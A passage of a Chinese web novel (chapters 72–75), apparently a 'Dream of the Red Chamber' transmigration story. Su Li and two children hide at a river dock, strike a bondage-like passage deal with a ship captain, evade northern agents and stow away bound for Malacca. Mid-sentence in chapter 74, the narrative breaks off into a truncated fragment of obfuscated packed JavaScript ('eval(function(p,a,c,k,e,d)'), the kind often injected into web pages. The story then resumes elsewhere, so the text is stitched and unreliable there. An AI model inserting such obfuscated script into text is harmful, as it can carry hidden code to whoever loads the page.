“柳姨……”板儿在黑暗中忽然小声开口，“我们会一直待在这里吗？” 苏璃沉默了一下，低声道：“不会。这里只是暂时的落脚处。等我们攒够了钱，打听到更安全的地方，就离开。” “我们去哪儿？”板儿问。 去哪儿？ 苏璃也茫然。 江南虽大，何处是安身立命之所？原主的记忆里，王熙凤在江南似乎有产业，但具体在何处，如何联系，一概模糊。账本上的密语，她尚未完全参透。难道要像个无头苍蝇一样，在江南乱撞？ “去一个……能让我们安安稳稳过日子，不用再东躲西藏的地方。”她最终只能这样回答，声音轻得像叹息。 板儿不再问了，只是往她身边靠了靠。孩子的体温透过薄薄的衣衫传来，带着一丝微弱的暖意。 苏璃睁着眼睛，望着窝棚顶破洞处漏进的、冰冷的星光。前路茫茫，危机四伏。但她知道，自己绝不能倒下。为了巧姐儿，为了板儿，也为了……那个或许还在某处挣扎的平儿，和那个给了她一线生机、却自身也深陷漩涡的男人。 江南的第一夜，就在这无尽的思虑和对未来的迷茫中，悄然流逝。 73. 出路 日子在三河咀这座水上孤岛，过得缓慢而沉重。苏璃每日天不亮便起身，去陈寡妇的工棚领活儿。 修补渔网、编织芦席，这些粗重而枯燥的活计，将她原本还算细嫩的手指磨出了一层薄茧，掌心也勒出道道血痕。但她咬牙坚持着，凭借着一股不服输的劲头和原主本就灵巧的底子，手艺进步飞快，甚至能偶尔指点一下旁边的新手妇人，渐渐也在陈寡妇手下那群妇孺中有了点微末的“地位”，至少，每日那顿糙米饭和鱼杂汤是能稳稳拿到手了，偶尔还能因为活儿做得好，多得半块饼子。 这三文钱一日的工钱，苏璃一文也舍不得花，仔细收好。她知道，这是她们离开这鬼地方的希望。板儿很懂事，将窝棚收拾得尽可能整洁，哄着巧姐儿，只在苏璃回来时才敢稍稍放松。巧姐儿依旧怯生生的，但脸上总算有了点血色，只是夜里常常惊醒，要苏璃或板儿拍哄许久才能再次入睡。 平静的水面下，暗流从未停歇。刀疤脸那伙人如同跗骨之蛆，每隔几日便来催逼“水头钱”，态度一次比一次恶劣。苏璃每次都将做工所得的大部分上交，只求暂时安稳。她知道这不是长久之计，刀疤脸的胃口只会越来越大。 她也曾试图打听那个酷似云渡庵老婆子的身影，但码头上人海茫茫，那老妇人如同水滴入海，再未出现。这让她心中那根弦始终紧绷着，不知是福是祸。 这日晌午，苏璃正埋头修补一张巨大的破渔网，陈寡妇破天荒地主动走到她身边，扔给她一团更精细的麻线和一小块靛蓝染的粗布。 “这个，试试。”陈寡妇的声音依旧干涩，没什么表情，“按着这布上的花纹，用这线在渔网破损的边缘绣上，既要补牢，又要看不出痕迹，最好还能添点吉利花样。明天晌午前给我。” 苏璃接过布和线，心中微动。这不是普通的修补，更像是……某种考验，或者，是某种更精细、报酬可能更高的活计的开端？她仔细看了看那块粗布，上面用炭笔画着简单的缠枝莲纹样，虽粗糙，却颇具民间意趣。 “是，陈大娘，我尽力。”苏璃没有多问，低头应下。 旁边一个相熟的妇人凑过来，低声道：“柳家妹子，你好运道，陈大娘这是瞧上你的手艺了。这活儿是给‘福海号’准备的，那船老大讲究，补网也要图个吉利好看，工钱能给到五文一天呢！就是费眼睛，要求也高。” 福海号？苏璃记下了这个名字。她向那妇人道了谢，心中却升起另一个念头：或许，这是一条接触外界、打探消息的途径？ 傍晚下工，苏璃没有立刻回窝棚，而是揣着今日省下的两枚铜钱，绕到了窝棚区边缘一处稍显僻静的水边。这里有几间稍微齐整些的木屋，据说是三河咀几个小头目和有些家底的“体面人”住处。其中一间门口，常有个瘸腿老头摆个小摊，卖些劣质酒水和盐水煮的毛豆、花生，是码头力夫和水手们歇脚闲聊的地方，也是各种消息的集散地。 苏璃要了一小碟盐水毛豆，坐在角落的小马扎上，慢慢地剥着，耳朵却竖得尖尖的。 几个敞着怀、浑身汗味的汉子正围坐在一起，就着劣酒，高声谈笑。 “……要说这南边的海路，还是‘福海号’的郑老大门路硬！上趟跑吕宋，听说弄回来不少稀罕香料，转手就是几倍的利！” “呸！门路硬有屁用？没见前儿在‘快活林’输得裤衩都快没了？听说还欠了‘疤脸熊’一大笔印子钱，正急着找补呢！” “疤脸熊”正是刀疤脸那群人的老大，是三河咀仅次于“水老鼠”的第二号地头蛇。 “嗨，瘦死的骆驼比马大！‘福海号’那船，那水手，都是现成的！听说郑老大正寻摸着下一趟跑哪儿，好像盯上了更南边的‘满剌加’，那地方，啧啧，宝石香料跟土坷垃似的……” “得了吧，那么远，海上风浪不说，红毛鬼和海盗是好惹的？别钱没赚到，把命搭进去！” “富贵险中求嘛！你没见‘锦记’那小子，前年跟着条私船跑了趟南洋，回来就翻身了，如今在镇上开了铺子，娶了婆娘……” “锦记？”苏璃心中猛地一跳。王熙凤暗账上，似乎隐约提到过一个与南洋贸易有关的代号“锦记”，难道……并非巧合？ 她不动声色，继续剥着毛豆，心思却已飞转。海上贸易，暴利，风险，急需资金的船老大“郑老大”，地头蛇“疤脸熊”的债务……还有那个神秘的“锦记”…… 一个极其大胆、甚至疯狂的念头，如同黑暗中划过的闪电，瞬间照亮了她混沌的思绪——出海！ 三河咀本就是水陆码头，走私、私盐、海外贸易暗流涌动。若能搭上一条靠谱的海船，远遁海外，岂不是彻底摆脱了中原的追捕网？南洋天高皇帝远，只要能在那边站稳脚跟，隐姓埋名，或许真能搏出一片新天地！ 这个念头让她心跳加速，口干舌燥。风险毋庸置疑，海上风浪、海盗、疾病、陌生的蛮荒之地……每一样都可能要命。但留在这里呢？要么被刀疤脸逼入绝境，要么在贫病交加中默默死去，要么哪天被官差或仇家发现，死无葬身之地。 两害相权，似乎冒险一搏，反而有一线生机！ 只是，如何搭上海船？她一个带着两个幼童的“逃难妇人”，身无长物，凭什么让人家冒险带她出海？就算能上船，巨额的船资又从何而来？ 她想到了怀里那本薄薄的、记录着秘密的账册，和那半块玉佩。这是她最大的依仗，也可能是最大的祸端。轻易示人，恐遭杀身之祸。 还有巧姐儿和板儿，海上颠簸，他们能否承受？到了异国他乡，又该如何生存？ 无数难题接踵而至，但“出海”这个念头一旦生出，便如同野草般在她心中疯长。 就在她心潮起伏之际，酒摊上的话题又转了。 “……说起来，北边京里最近不太平啊，听说又抄了好几家大户，连宫里都……” “嘘！慎言！喝酒喝酒！” “怕什么？天高皇帝远！不过说真的，最近码头上生面孔可不少，特别是北边来的，打听这个打听那个的……” “可不是！昨天还有两个看着像官家模样的人，在打听有没有年轻妇人带着两个孩子投靠的，悬赏还不低呢……” 苏璃手中剥了一半的毛豆“啪”地掉在地上。官家模样的人？悬赏？追捕果然没有停止，甚至可能已经查到了三河咀附近！ 她强压住立刻逃离的冲动，低着头，将剩下的毛豆匆匆吃完，付了钱，起身离开。脚步看似平稳，后背却已被冷汗浸湿。 回到那个破败的窝棚，板儿正用捡来的小石子教巧姐儿数数，两个孩子脸上难得有了一点宁静。看到苏璃回来，板儿立刻迎上来，小声道：“娘，你回来了。刚才……疤脸熊那边的人来转了一圈，没说什么，但眼神凶得很。” 苏璃心中一沉。三日期限已过两日，明天就是最后一天。刀疤脸恐怕不会善罢甘休。 她摸了摸板儿的头，勉强笑了笑：“没事，娘找到条路子，或许能离开这里。” “离开？”板儿眼睛一亮，“去哪？” “去……很远的地方，坐大船，过大海。”苏璃低声道，目光望向窝棚外浑浊的河水，仿佛能透过它，看到那波涛汹涌的汪洋，“那里可能很苦，很危险，但也可能……是条活路。” 板儿似懂非懂，但看到苏璃眼中那决绝而明亮的光芒，他用力点了点头：“娘去哪儿，我就去哪儿！我保护你和妹妹！” 巧姐儿也凑过来，依赖地抱住苏璃的腿。 苏璃搂紧两个孩子，心中那疯狂的念头越发清晰、坚定。留下是死路一条，出海尚有一线生机。她必须搏一把！ 但如何搏？直接去找“福海号”的郑老大？无异于与虎谋皮。或许，可以从那个“锦记”入手？账本上那个代号，究竟是人名，还是商号名？ 还有，必须尽快解决刀疤脸的麻烦。 她将今日省下的两枚铜钱，连同之前攒下的十几枚，仔细数了数。这点钱，连贿赂刀疤脸手下的小喽啰都不够。她需要一笔“启动资金”，更需要一个能接触到海船核心人物的“敲门砖”。 目光落在陈寡妇给的那块画着缠枝莲纹的粗布和精细麻线上。福海号……郑老大……讲究吉利…… 一个计划，在她脑中渐渐成型。或许，她的“手艺”，不仅仅是谋生工具，还能成为撬动命运的杠杆。 第二天，苏璃比往常更早来到工棚。她没有立刻开始修补渔网，而是向陈寡妇借了炭笔和一把更细的骨针。她将那块靛蓝粗布上的缠枝莲花纹仔细拓画下来，然后拆解、重组，结合前世见过的更繁复精美的吉祥图案，又融入了一些水波纹、云纹的元素，在破渔网的边缘，用那精细的麻线，开始进行一种近乎刺绣的修补。 这不是简单的缝补，而是在破损处，用同色系的麻线，织补出与原有网眼几乎无异的纹路，同时，在关键节点，巧妙地嵌入她设计的、象征着“一帆风顺”、“鱼虾满舱”的简化吉祥纹样。这需要极高的耐心、眼力和技巧。 整整一个上午，苏璃都沉浸其中，手指被细针扎破了好几次，眼睛也酸涩不已，但她浑然不觉。当最后一针完成，她将修补好的渔网展开在陈寡妇面前时，连这个一向刻板冷漠的妇人都露出了惊异的神色。 破洞处几乎天衣无缝，若不细看，根本察觉不到修补的痕迹。而那些巧妙融入的吉祥纹样，不仅不显突兀，反而让这张原本破旧的渔网平添了几分古朴雅致的意趣，尤其是那水波纹和简化的小帆船图案，更是贴合船家的心思。 “这……”陈寡妇拿起渔网，对着光仔细看了又看，眼中闪过一丝复杂的光芒，“你这手艺……跟谁学的？” “家传的，以前在绣坊帮过工。”苏璃含糊道，擦了擦额头的汗，“陈大娘，您看这活儿……福海号的船老大能满意吗？ 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苏璃心中一凛，知道对方已经调查过自己，坦然点头：“是。家乡遭了灾，活不下去了，想到南边讨条活路。” “讨活路？”郑老大嗤笑一声，将渔网扔还给陈寡妇，“光靠补网，在这三河咀，可讨不到什么好活路。尤其……”他意味深长地顿了顿，“还带着两个拖油瓶，又惹上了疤脸熊那帮杂碎。” 苏璃的心沉了下去，果然，什么都瞒不过这些地头蛇的眼睛。 郑老大话锋一转，上下打量着苏璃，目光在她虽然憔悴却难掩清秀的脸上停了停：“不过嘛……老子最近手头紧，疤脸熊那王八蛋逼债逼得紧。船上缺个能缝补浆洗、还能整点吉利玩意儿的勤快人。你，敢不敢跟老子的船出海？” 出海！苏璃心中剧震，她正苦思如何搭上线，机会竟以这种方式猝不及防地送到面前！但郑老大眼中的算计和毫不掩饰的打量，让她立刻明白，这绝非单纯的雇佣。 “郑老大厚爱。”苏璃垂下眼帘，掩去眼中的思绪，“只是民妇带着两个孩子，年纪尚小，恐怕经不起海上风浪，反而给老大添麻烦。” “麻烦？”郑老大哼了一声，“老子不怕麻烦，就怕没用的废物。你那两个孩子，甲板上跑跑腿、递递东西总行吧？老子船上不养闲人。至于海上风浪……”他凑近一步，压低声音，带着一股鱼腥和烟草混合的浓重气味，“留在三河咀，疤脸熊明天就能把你娘仨卖到窑子里去！跟老子走，至少有条活路，到了地头，是死是活，看你们自己的造化！” 赤裸裸的威胁与诱惑。苏璃知道，她没有选择。留下，必死无疑；上船，九死一生，却有一线渺茫的生机。而且，郑老大急需用钱摆脱“疤脸熊”，或许……这正是可以利用的弱点。 她抬起头，直视郑老大：“郑老大既然开口，民妇不敢不从。只是，船资几何？到了地头，又如何安置我们娘仨？” 郑老大见她如此镇定，眼中讶色一闪，随即伸出三根手指：“船资嘛，算你们三个人的伙食和舱位，到了地头，给老子干满三年活来抵！至于安置……”他嘿嘿一笑，“到了满剌加，自然有你们落脚的地方，是去给香料园做苦工，还是去伺候红毛鬼，就看你们自己的本事了！” 满剌加！果然是南洋！苏璃心中既惊且忧。那确是天涯海角，但也意味着彻底远离中原，远离追捕。 三年苦役，前途未卜……但，这已是绝境中唯一能抓住的浮木。 “好。”苏璃听见自己的声音，平静得不带一丝波澜，“我们跟郑老大走。只是，启程之前，还请郑老大能帮忙……挡一挡疤脸熊那边的麻烦。” 郑老大似乎对她的爽快有些意外，打量她几眼，大手一挥：“小事！疤脸熊那孙子，欠老子人情！明天你就搬到码头‘福海号’旁边那排窝棚去，那是老子的地盘，看哪个王八羔子敢动你！”说罢，不再多言，转身大步离去，仿佛只是做了一笔微不足道的交易。 陈寡妇走过来，将几张粗糙的饼子和一小块咸鱼塞到苏璃手里，低声道：“郑老大这人，手狠，但说话算数。跟着他，是条路，也是跳火坑。你好自为之。”语气中竟难得地带了一丝不易察觉的复杂情绪。 苏璃接过食物，深深看了陈寡妇一眼：“多谢陈大娘这些日子的照拂。” 离开工棚，苏璃脚步虚浮地走在泥泞的小路上。海风带着咸腥气扑面而来，远处，“福海号”那艘看起来有些年头的双桅帆船静静停泊在码头，在夕阳下投下长长的、扭曲的影子。 她终于找到了一条出路，一条通往茫茫大海、吉凶莫测的出路。怀中，那本账册和玉佩似乎微微发烫。南洋……满剌加……“锦记”……王熙凤的暗线……这一切，是否会在那片陌生的土地上，产生新的交集？ 而明天，刀疤脸那边，又将是一场怎样的风波？ 74. 登船风波 “福海号”船尾下方，那排用旧船板和油毡胡乱搭就的窝棚，比苏璃先前住的地方好了些许，至少更靠近码头，通风略好，也少了些污水的恶臭。棚子低矮，依旧四处漏风，但门口挂着一块破旧的、画着个歪斜船锚的木牌，算是表明了归属，寻常地痞果然不敢轻易靠近。 郑老大派来的一个独眼老水手，扔给她们一床带着浓重鱼腥和汗味的破棉絮，两副碗筷，还有一个瘪了半边的铁皮水壶。“老实待着，别乱跑。缺什么，吱一声，但别指望太好。三日后的卯时初刻，码头登船，过时不候！”老水手独眼里闪着浑浊的光，说完便佝偻着背走了。 苏璃谢过，将破棉絮铺在相对干燥的角落，这便是她们临时的“家”了。板儿手脚麻利地收拾着，巧姐儿好奇地打量着这个新环境，小脸上带着一丝不安。 安顿下来，苏璃的心却并未放松。三日，她们只有三日时间。她需要为漫长的海上航行做尽可能多的准备，也需要打探更多关于“福海号”、关于郑老大、关于南洋的消息。更重要的是，必须确保这最后三日平安度过，顺利登船。 她将板儿叫到身边，神情严肃地叮嘱：“板儿，这三日，你和巧姐儿半步不能离开这棚子。外面很乱，尤其是码头上，各色人等都有。我要出去打听些事情，很快回来。无论谁敲门，只要不是娘，或者不是那个独眼的老伯，都不要开，也不要应声，明白吗？” 板儿重重点头，握紧了手里一根磨尖了的木棍——那是他在旧窝棚时就藏好的“武器”。“娘，你放心，我会保护好妹妹。” 苏璃摸摸他的头，心中又是酸楚又是欣慰。她从怀里掏出那块陈寡妇给的咸鱼，掰下一小半留给孩子们，自己将剩下的一小块和硬饼小心包好，贴身藏起，又仔细检查了一遍藏在贴身衣物夹层里的账册、玉佩和所剩无几的碎银，确认无误，这才深吸一口气，低着头，走出了窝棚。 码头上依旧喧嚣。卸货的号子声，水手的吆喝声，小贩的叫卖声，混杂着海风咸腥的气息，扑面而来。苏璃裹紧了头巾，让自己看起来像个最不起眼的、为生计奔波的贫苦妇人，目光却锐利地扫视着“福海号”周围。 “福海号”是艘双桅帆船，船体不小，但桅杆和船身都有些旧损的痕迹，油漆斑驳，几处修补的木板颜色深浅不一，显然经历过不少风浪。甲板上，几个水手正懒散地修补着帆索，或躺在阴影里打盹。船尾飘着一面褪色的、绣着模糊“福”字的三角旗。 苏璃装作在码头边捡拾废弃的渔网线头，慢慢靠近。她需要了解这艘船，了解船上的人。那个郑老大绝非善类，但船上其他人呢？有没有可能找到一丝可以利用的缝隙或善念？ 她注意到，船舷边，一个头发花白、背脊佝偻得厉害的老水手，正坐在一捆缆绳上，默默地修补着一只破旧的牛皮水囊。他动作缓慢，眼神浑浊，满脸深刻的皱纹如同刀刻，透着一股行将就木的沧桑。然而，苏璃的目光在扫过他时，心头猛地一跳——这老水手的侧影，尤其是那佝偻的姿态和沉默的气质，与她在码头上惊鸿一瞥、酷似云渡庵老婆子的老妇人，竟有几分神似！而且，他身上那件补丁摞补丁的灰布短褂，也透着一种莫名的熟悉感。 难道……是易容？或是……本就是同一人伪装？可一个老妇人，如何能扮作老水手混上船？除非……她本就精通此道？ 无数疑问瞬间涌上心头。苏璃不敢肯定，更不敢贸然上前。她只是放慢了捡拾的动作，竖起耳朵，捕捉着甲板上的只言片语。 “……呸！郑老大这次欠了‘疤脸熊’那么多，这趟跑满剌加，怕是豁出命去了……” “可不是，听说连压箱底的本钱都砸进去了，就指望这趟翻身……” “翻身？别翻船就不错了！南边海路近来不太平，红毛鬼的炮船，还有那‘黑鲨’……” “嘘！小声点！晦气！” “唉，反正咱们是拿命换钱，听天由命吧……” “对了，老余头，听说你以前跑过满剌加？那边现在啥光景？” 那个修补水囊的老水手——似乎被称作老余头——头也不抬，用沙哑得像破风箱似的声音含糊道：“能啥光景？热，湿，瘴气重，红毛鬼的天下……香料宝石有的是，命，也贱得很……” 他的声音嘶哑低沉，带着浓重的、难以分辨具体地域的口音。苏璃仔细分辨，也无法确定是否与那“老婆子”有关。 就在这时，码头上忽然传来一阵骚动。一队人气势汹汹地朝“福海号”这边走来，为首者一脸横肉，眼角有道狰狞的疤痕，正是“疤脸熊”！他身后跟着七八个打手，还有两个穿着体面些、但眼神闪烁、不像本地人的陌生汉子。 郑老大闻声从船舱里走了出来，站在船头，脸色阴沉地看着下面。 “郑老大，三日之期可快到了！”疤脸熊叉着腰，仰头喊道，声音洪亮，带着毫不掩饰的威胁，“弟兄们的酒钱，可都等着呢！” 郑老大冷哼一声：“急什么？老子还能少了你那几个子儿？等这趟船回来，连本带利，一并给你！” “回来？”疤脸熊嗤笑，“郑老大，你当我是三岁小孩？你这破船一出海，是死是活谁知道？万一喂了鱼，我找阎王要去？今天，必须给我个准话！” “老子说了，回来就给！”郑老大脸色更沉。 “我看你是想赖账！”疤脸熊身后的一个打手嚷嚷道。 “就是！没钱就拿东西抵！我看你这船上的货……”另一个打手目光不善地扫向“福海号”的货舱。 郑老大眼中凶光一闪，手按在了腰间鼓鼓囊囊的地方，那里显然藏着武器。他身边几个心腹水手也围了上来，气氛顿时剑拔弩张。 苏璃的心提到了嗓子眼。若是双方冲突起来，殃及池鱼，她们登船的计划很可能泡汤，甚至自身难保。 就在这时，疤脸熊身边那两个一直没说话的陌生汉子中，一个留着山羊胡的瘦高个，忽然上前一步，对着郑老大拱了拱手，声音尖细：“郑船主，息怒。我等并非为催债而来，乃是奉了北边一位贵人之命，寻访几位走失的亲眷。听闻郑船主近日收留了一对从北边逃难来的母子，还带着个女童，不知可否让我等见上一见，确认一下？” 北边贵人？寻访亲眷？苏璃浑身血液瞬间冰凉！是追兵！果然是冲着她和巧姐儿来的！竟然直接找到了疤脸熊，还查到了郑老大这里！速度如此之快！ 郑老大显然也愣了一下，眯起眼睛打量着那山羊胡：“北边贵人？什么贵人？老子船上是有新招的帮工，怎么，是你们的逃奴？” “并非逃奴，只是走失的亲眷。”山羊胡语气平淡，却带着一股不容置疑的味道，“还请船主行个方便，让我等上船一观，若然不是，自当赔礼。” 郑老大目光闪烁。他显然不想得罪这些“北边贵人”，但更不想在开船前节外生枝，尤其涉及他“收留”的人。他眼珠一转，忽然咧嘴笑道：“原来如此。不过，不巧啊，那娘仨今儿一早就让老子派去镇上采买出海用的物什了，还没回来。要不，几位明日再来？” 这是明显的推脱。山羊胡眉头微皱，旁边那个一直沉默的、脸色蜡黄的同伴，却忽然开口，声音嘶哑：“既如此，我等便在码头等候。烦请船主，待她们回来，务必告知。”他的目光，似有意似无意地扫过码头边的人群，在苏璃藏身的货堆方向停留了一瞬，那眼神冰冷锐利，如同毒蛇。 苏璃连忙低下头，将身体缩进阴影里，心脏狂跳不止。她认得那眼神！那是久经训练的探子才有的眼神！他们绝不是普通的家丁或官差，很可能是……大内或者某位权贵禁脔的密探！ 疤脸熊见郑老大推脱，那两人似乎也默认了等待，一时倒不好再强行逼债，只得撂下几句狠话，带着人悻悻离开，临走前，那山羊胡和蜡黄脸又深深地看了一眼“福海号”，仿佛要将这艘船烙印在脑子里。 郑老大站在船头，脸色阴晴不定，半晌，才骂骂咧咧地转身回了船舱。 危机暂时解除，但苏璃知道，更大的风暴正在酝酿。那两个探子绝不会轻易离开，他们守在码头，自己和孩子们根本无法露面，更别说按时登船了！郑老大方才的推脱，能顶多久？在“北边贵人”的压力和自身债务危机下，他会不会选择交出她们换取好处？ 时间，变得从未有过的紧迫。必须立刻想办法！ 她悄悄退离码头，回到窝棚。板儿见她脸色苍白，急忙问：“娘，怎么了？” “没事。”苏璃强作镇定，快速将外面的情况说了，“我们不能等三天后了，必须提前上船，而且要避开所有人的耳目。” “可是，船不是还没开吗？郑老大会让咱们提前上去？”板儿不解。 “所以我们不能让他知道。”苏璃眼中闪过一丝决绝，“今晚，等天黑透了，码头人少的时候，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“板儿，你先上去，找找有没有绳子或者可以借力的地方。”苏璃低声道。 板儿点头，他身形瘦小灵活，在岸边摸索着，很快发现了一截从船上垂下来的、似乎是用来系小艇的旧缆绳，虽然有些磨损，但还算结实。他试了试力道，然后抓住缆绳，学着以前看村里孩子爬树的样子，双脚蹬着粗糙的船壳，一点点向上攀爬。他憋着一口气，手脚并用，竟然真的艰难地爬了上去，趴在船舷边，对着下面拼命招手。 苏璃心中稍定。她将巧姐儿用布带牢牢绑在自己背上，确保不会滑脱，然后抓住那截缆绳。她从未做过如此惊险之事，全凭一股求生的本能。她学着板儿的样子，双脚蹬着船壳，用尽全身力气，一寸一寸地向上挪动。背上的巧姐儿似乎被惊醒，不安地动了动，苏璃连忙低声安抚。 手掌被粗糙的缆绳磨得火辣辣地疼，手臂酸软得几乎要脱力，冰冷的汗水顺着额角滑落，模糊了视线。好几次，她差点脱手滑下去，全靠牙关紧咬才挺住。终于，她的指尖够到了船舷边缘。 “娘！抓住！”板儿在上面伸出手，拼命想拉她。 苏璃用尽最后一点力气，猛地向上一蹿，板儿趁机抓住她的胳膊，两人合力，终于连拖带拽，将她和巧姐儿弄上了甲板。 三人瘫倒在冰冷的甲板上，大口喘着气，心脏狂跳，几乎要蹦出胸膛。成功了！她们上船了！ 但危险远未结束。甲板上并非空无一人。不远处，一个守夜的水手似乎听到了动静，提着灯笼晃悠过来，嘴里嘟囔着：“什么声音？” 苏璃魂飞魄散，来不及思考，一把拉起板儿，背起巧姐儿，凭着上船前观察的记忆，朝着船舱尾部堆放杂物的阴影处连滚爬爬地冲了过去，躲进一个堆满破渔网和旧帆布的角落，用散发着浓重鱼腥味的帆布将三人严严实实地盖住。 灯笼的光线扫过她们藏身的地方，停留了片刻。苏璃能听到自己如擂鼓般的心跳，能感觉到巧姐儿在她背上害怕的颤抖，板儿紧紧攥着她的衣角，屏住了呼吸。 “妈的，又是老鼠……”那水手骂了一句，踢了踢旁边的缆绳，脚步声渐渐远去。 直到灯笼的光完全消失，脚步声彻底听不见，苏璃才敢稍稍放松紧绷的神经，但依旧不敢动弹。她们必须在这里藏到天亮，藏到船开，甚至更久。 帆布下的空间狭小憋闷，鱼腥味熏人欲呕。但比起岸上那无处不在的追捕目光，这里反而让苏璃感到一丝扭曲的安全感。 她轻轻拍抚着背上的巧姐儿，低声哼着不成调的催眠曲。板儿靠在她身边，虽然疲惫，却努力睁着眼睛保持警惕。 夜色深沉，海浪温柔地拍打着船舷。“福海号”如同一个巨大的摇篮，载着三个亡命天涯的灵魂，静静漂浮在漆黑的水面上，等待着黎明的到来，等待着驶向那不可知的、波涛汹涌的远方。 75. 扬帆离岸 破渔网和旧帆布散发着浓重刺鼻的鱼腥、汗臭和霉味，混合着海水的咸腥，几乎令人窒息。狭小的藏身空间里，苏璃紧紧搂着因不安而扭动的巧姐儿，另一只手握着板儿冰凉的小手。三人的心跳，在这死寂的、唯有海浪轻拍的背景下，显得异常清晰。甲板上，守夜水手沉重的脚步声时远时近，每一次都让她们的心提到嗓子眼。 时间在极度的紧张和煎熬中缓慢流逝。每一刻，都仿佛被拉长成永恒。苏璃不敢合眼，耳朵警惕地捕捉着外界的一切声响——水手的交谈、远处的犬吠、更夫模糊的梆子声，以及……黎明前最黑暗时刻，码头上隐约传来的、不同寻常的骚动。 似乎是争吵声，还有火把的光影晃动。是疤脸熊的人？还是那两个北边来的探子，终于按捺不住，要强行搜船？ 苏璃的心沉到了谷底。若真是如此，这小小的藏身之处，绝无幸理。 幸而，骚动并未持续太久。郑老大那粗嘎的嗓音带着怒意响起，隐约传来“规矩”、“时辰未到”等字眼，似乎暂时将人挡了回去。但气氛显然更加紧绷了。 天色，就在这令人窒息的等待中，一点点泛出灰白。海天相接处，透出鱼肚般的微光，渐渐染上橘红。新的一天，伴随着未知的吉凶，到来了。 甲板上开始有了更多动静。水手们陆续起身，呵欠声、漱口声、粗鲁的玩笑声，锅碗瓢盆的碰撞声，交织成一幅忙碌而粗粝的晨起图景。食物的香气顺着海风飘来，引得饥肠辘辘的三人腹中雷鸣。 “娘，我饿……”巧姐儿带着哭腔，小声说。 “嘘，乖，再忍忍。”苏璃将最后一点点硬饼碎屑喂给她，自己也咽了口唾沫，压下胃里的灼烧感。板儿懂事地没有喊饿，只是将身体蜷缩得更紧。 她们必须继续躲藏，直到船开，直到远离码头，直到……郑老大无暇他顾，或者，她们被发现。 辰时左右，码头上人声愈发鼎沸。似乎是“福海号”装运的最后一批货物到了，沉重的木箱被抬上甲板，发出沉闷的撞击声。郑老大粗声大气地指挥着，夹杂着对笨手笨脚脚夫的咒骂。 就在这时，一阵急促的脚步声向她们藏身的杂物堆靠近。苏璃浑身一僵，握紧了袖中那把磨得锋利的匕首。 帆布被猛地掀开一角！刺目的天光涌了进来。一张皱纹深刻、面无表情的脸出现在洞口，正是那个独眼老水手！他那只浑浊的独眼，冷冷地扫过缩在帆布下的三人，没有丝毫惊讶，仿佛早已料到。 “倒是会找地方。”老水手的声音干涩沙哑，“出来吧，船要开了。老大说了，既然上来了，就老实待着。你，”他指了指苏璃，“去后舱灶间帮忙。两个小的，在甲板上打杂，递递绳子，扫扫地。别乱跑，别多嘴，更别惹事。否则，扔海里喂鱼。” 没有质问，没有斥责，只有冰冷的命令。仿佛她们只是三件顺手捎带的、无足轻重的货物。 苏璃心中惊疑不定，但更多的是一种劫后余生的虚脱。郑老大果然发现了她们，却选择了默许？是因为那两个探子和疤脸熊的逼迫，让他觉得留下她们或许能当个人质或筹码？还是因为……她修补渔网的手艺，真的让他觉得“有用”？ 无论如何，能光明正大留在船上，已是万幸。 “是，多谢老伯，多谢郑老大。”苏璃连忙低头应道，拉着板儿和巧姐儿，从藏身处爬了出来。清晨的海风带着凉意，吹散了帆布下的闷浊，却也让她打了个寒颤。 甲板上，水手们各司其职，有的在起锚，有的在调整帆索，对突然冒出来的母子三人，大多只是漠然地瞥上一眼，便继续忙活，仿佛司空见惯。只有少数几个，目光在苏璃脸上停留片刻，带着不加掩饰的审视和估量。 苏璃低下头，将巧姐儿拉到身后。板儿则挺了挺小胸脯，努力做出“能干”的样子。 “跟我来。”独眼老水手转身，佝偻着背，走向船舱尾部。 灶间在后舱下层，低矮、昏暗、闷热，充斥着油烟、咸鱼和食物腐败的混合气味。一个膀大腰圆、一脸横肉的伙夫正挥舞着大铁勺，在热气蒸腾的大铁锅里搅动着糊状的粥。见到独眼老水手带来个面生的妇人，只是抬了抬眼皮。 “新来的，帮厨。老王，你看着安排。”独眼老水手丢下一句，便转身走了。 那王伙夫打量了苏璃几眼，瓮声瓮气道：“会烧火不？会切菜不？” “会一些。”苏璃连忙道。 “那行，先把那边堆的咸鱼洗了，切成块。手脚麻利点，误了开饭，仔细你的皮！”王伙夫指了指角落里一堆黑乎乎、散发着浓烈腥气的咸鱼干。 这便是她在船上的第一份“工作”。苏璃没有二话，挽起袖子，找到木盆和刷子，开始费力地清洗那些坚硬腥咸的鱼干。冰冷的海水，粗糙的盐粒，很快将她的双手浸得红肿刺痛。 板儿和巧姐儿被安排在甲板上，帮着收拾散落的绳索，擦拭舷梯。活不重，但对于两个孩子来说，在摇晃的甲板上保持平衡已是困难，还要忍受水手们不耐烦的呵斥和戏弄的目光。 “呜——呜——”低沉的号角声响起，穿透了码头的喧嚣。 “起锚——！”郑老大站在船头，高声下令。 沉重的铁锚在绞盘的吱呀声中，缓缓脱离水底的淤泥。“福海号”庞大的船身，似乎微微一震，开始随着水流，缓缓脱离码头。 苏璃停下手中的活计，忍不住抬起头，透过灶间那扇小小的、糊满油污的舷窗，向外望去。 码头上，人群依旧熙攘。她看到了疤脸熊那伙人站在不远处，正阴冷地盯着逐渐离岸的“福海号”。也看到了那两个北边来的探子——山羊胡和蜡黄脸，他们站在稍高的货堆上，目光如同鹰隼，紧紧锁定着船只，脸上没有任何表情，但那冰冷的注视，却比疤脸熊的凶悍更让人心悸。 船，越行越远。码头上的人和建筑，逐渐缩小，变得模糊。三河咀那杂乱无章的轮廓，也渐渐融入岸线的背景之中。 终于，离开了。 一种难以言喻的复杂情绪涌上苏璃心头。是逃离绝境的庆幸，是对未知前路的茫然，是对故土最后一瞥的怅惘，还有……对岸上那些依旧虎视眈眈目光的深深寒意。 “看什么看！快点干活！咸鱼不用洗了？等着下锅呢！”王伙夫的呵骂将她拉回现实。 苏璃连忙低下头，继续用力刷洗着手中那条硬邦邦的咸鱼。冰凉的盐水刺痛了手上的伤口，她却恍若未觉。 “福海号”张开了主帆和前帆，吃足了风，船速明显加快。破开蔚蓝色的海水，驶向水天相接的茫茫远方。咸湿的海风猛烈起来，带着巨大的力量，吹得船帆猎猎作响，也吹得人几乎站立不稳。 板儿和巧姐儿相互搀扶着，站在船舷边，望着渐渐消失的陆地，小脸上写满了不安和好奇。这是他们第一次，真正置身于无边无际的大海之上。 